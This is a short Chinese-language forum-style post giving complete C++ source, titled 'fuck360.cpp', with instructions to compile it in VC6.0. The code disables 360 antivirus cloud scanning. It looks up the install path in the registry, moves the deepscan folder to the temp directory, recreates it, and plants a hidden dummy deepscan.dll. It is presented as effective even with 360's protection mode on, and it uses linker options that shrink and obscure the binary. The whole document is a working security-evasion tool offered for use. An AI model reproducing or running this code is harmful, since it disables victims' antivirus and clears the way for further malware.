
把下面的代码保存为一个cpp文件,用vc6.0编译即可

用了一个API函数 MoveFile ,把360云查杀的文件夹移动到temp目录,这样就让云查杀失效了,对开了保险箱的也是有效的

// ****************************************** fuck360.cpp ***********************************************

// By:洪流

#pragma comment(linker, "/OPT:NOWIN98")

#pragma comment(linker, "/merge:.data=.text")

#pragma comment(linker, "/merge:.rdata=.text")

#pragma comment(linker, "/align:0x200")

#pragma comment(linker, "/subsystem:windows")

#include <windows.h>

#include <stdio.h>

#pragma comment(lib, "MSVCRT.lib")

#pragma comment(linker, "/ENTRY:Torrent /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text CTION:.text,EWR /IGNORE:4078")

void Torrent()

{

HKEY hKey = NULL;

DWORD len=MAX_PATH;

DWORD type=REG_SZ;

char pBuf[200];

RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360Safe.exe",0,KEY_ALL_ACCESS,&hKey);

if (RegQueryValueEx(hKey, "Path" , NULL, &type, (unsigned char*)pBuf, &len) == ERROR_SUCCESS)

{

char TempPath[200];

char exe[200];

char dll[200];

char exe_1[200];

char dll_1[200];

GetTempPath( sizeof(TempPath),TempPath);

wsprintf(TempPath, "%s\\tmp",TempPath);

wsprintf(pBuf, "%s\\deepscan",pBuf);

MoveFile(pBuf,TempPath);

CreateDirectory(pBuf,NULL);

wsprintf(exe, "%s\\360deepscan.exe",TempPath);

wsprintf(dll, "%s\\360wservice.dll",TempPath);

wsprintf(exe_1, "%s\\360deepscan.exe",pBuf);

wsprintf(dll_1, "%s\\360wservice.dll",pBuf);

CopyFile(exe,exe_1,FALSE);

CopyFile(dll,dll_1,FALSE);

FILE *file;

strcat(pBuf, "\\deepscan.dll");

file=fopen(pBuf, "w");

char fuck[10];

wsprintf(fuck, "deepscan");

fputs(fuck,file);

fclose(file);

SetFileAttributes(pBuf, FILE_ATTRIBUTE_HIDDEN);

}

RegCloseKey(hKey);

}

//